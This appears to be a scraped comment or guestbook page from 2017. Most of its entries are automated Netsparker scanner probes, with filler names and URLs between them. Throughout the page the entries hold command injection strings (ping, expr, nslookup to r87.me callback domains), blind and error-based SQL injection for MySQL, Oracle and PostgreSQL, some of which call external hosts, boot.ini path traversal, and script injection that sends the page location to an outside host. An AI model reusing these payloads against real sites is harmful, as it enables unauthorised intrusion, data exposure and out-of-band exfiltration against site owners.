\r\n SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n & SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

\r\n

\r\n 8/23/2017 8:09:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n '& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

c:\\boot.ini

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \"& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/boot.ini

\r\n

\r\n 8/23/2017 8:09:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x002AB8

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/?0x002AB7

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

[ns](javascript:netsparker(0x002A8F); \"nsmd\")

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"@-->

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -w 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:09:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x002A8B)+'

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -w 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:09:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x002A89);

\r\n

\r\n 8/23/2017 8:09:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

netsparker(0x002A87)

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&ping -w 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&ping -w 25 127.0.0.1 &'

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

',netsparker(0x002A85),'

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\\';netsparker(0x002A83);///

\r\n

\r\n 8/23/2017 8:09:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&ping -w 25 127.0.0.1 &\"

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:09:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+netsparker(0x002A81)+\"

\r\n

\r\n 8/23/2017 8:08:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+netsparker(0x002A7F)+'

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

*/netsparker(0x002A7D);/*

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

body{x:expression(netsparker(0x002A7B))}

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

|expr${IFS}268409241${IFS}-${IFS}2

\r\n

\r\n 8/23/2017 8:08:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

expr 268409241 - 2

\r\n

\r\n 8/23/2017 8:08:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

n;ns:expression(netsparker(0x002A79));

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

expr 268409241 - 2;

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'\r\n

\r\n
\r\n

1;expr 268409241 - 2;x

\r\n

\r\n 8/23/2017 8:08:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:52 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1';expr 268409241 - 2;'

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))\r\n

\r\n
\r\n

|nslookup${IFS}\"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf\"\"ury.r87.me\"

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))\r\n

\r\n
\r\n

|nslookup${IFS}\"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd\"\"z1o.r87.me\"

\r\n

\r\n 8/23/2017 8:08:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1\" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1\r\n

\r\n
\r\n

\"&nslookup \"o010_rdnxu0mp9tjmo-33ousfksyvnlwquiyduic\"\"f8i.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"&nslookup \"o010_rdnxukwavmnr6uxmaxw6iqm947lohljnseu\"\"90e.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n (select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(98)||chr(103)||chr(98)||chr(118)||chr(122)||chr(122)||chr(49)||chr(111)||chr(99)||chr(97)||chr(97)||chr(107)||chr(102)||chr(95)||chr(100)||chr(120)||chr(99)||chr(102)||chr(102)||chr(107)||chr(122)||chr(102)||chr(116)||chr(99)||chr(122)||chr(119)||chr(100)||chr(110)||chr(117)||chr(118)||chr(97)||chr(97)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)\r\n

\r\n
\r\n

'&nslookup \"o010_rdnxufxhyjejjfwkr4vrg6mnixwezhu-ms5\"\"fqe.r87.me\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1\";expr 268409241 - 2;\"

\r\n

\r\n 8/23/2017 8:08:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'&nslookup \"o010_rdnxurzlw5uznq-jb2th_efsvc6lksde7ye\"\"btw.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu_qtsdowlkh_flfjjfm6coylz1xh0ty'||'430.r87.me') from DUAL))||'\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n -1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1\r\n

\r\n
\r\n

&nslookup \"o010_rdnxurwtbxapfqfrrebybzda41jwx1vpgsj\"\"oac.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

javascript:netsparker(0x002A73)

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SET /A 0xFFF9999-2

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

&nslookup \"o010_rdnxuyfq2weofqljkjqkwsx_6xtr_2hvea3\"\"_iq.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuqdcigkl6azza8s4r2gp2-25mjbx4ka'||'n2w.r87.me') from DUAL))))\r\n

\r\n
\r\n

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup \"o010_rdnxuyjn5wzhc0m_dce4_w_6jdto3tyaun5\"\"g2w.r87.me\"

\r\n

\r\n 8/23/2017 8:08:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup \"o010_rdnxujonf6gnfiqeyujfhlrkspnro4qzd26\"\"lsu.r87.me\"

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&'\\\"`0&nslookup o010_rdnxu7pd_0-hequtt_xcjaxjsd9rr4lcnpgsco.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&'\\\"`0&nslookup o010_rdnxuykr4pi_nppsk3qceqf1ultfwkq_g-mj8w.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&'\\\"`0&nslookup o010_rdnxudpik2_j01qyk9kkmsd3s-rev0jfj0n-88.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"& SET /A 0xFFF9999-2 &

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\\\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\">

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\\\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL)\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\\\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'>

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n ';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz\"+\"lqw.r87.me/r/?\"+location.href;document.head.appendChild(l);//\r\n

\r\n
\r\n

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n \";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal\"+\"9om.r87.me/r/?\"+location.href;document.head.appendChild(l);//\r\n

\r\n
\r\n

//r87.com/n/j/?0x002A6C

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

((SELECT 1 FROM (SELECT SLEEP(25))A))

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\\\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||'\r\n

\r\n
\r\n

//r87.com/n/j/?0x002A6B

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\\\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)\r\n

\r\n
\r\n

\"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+\"

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

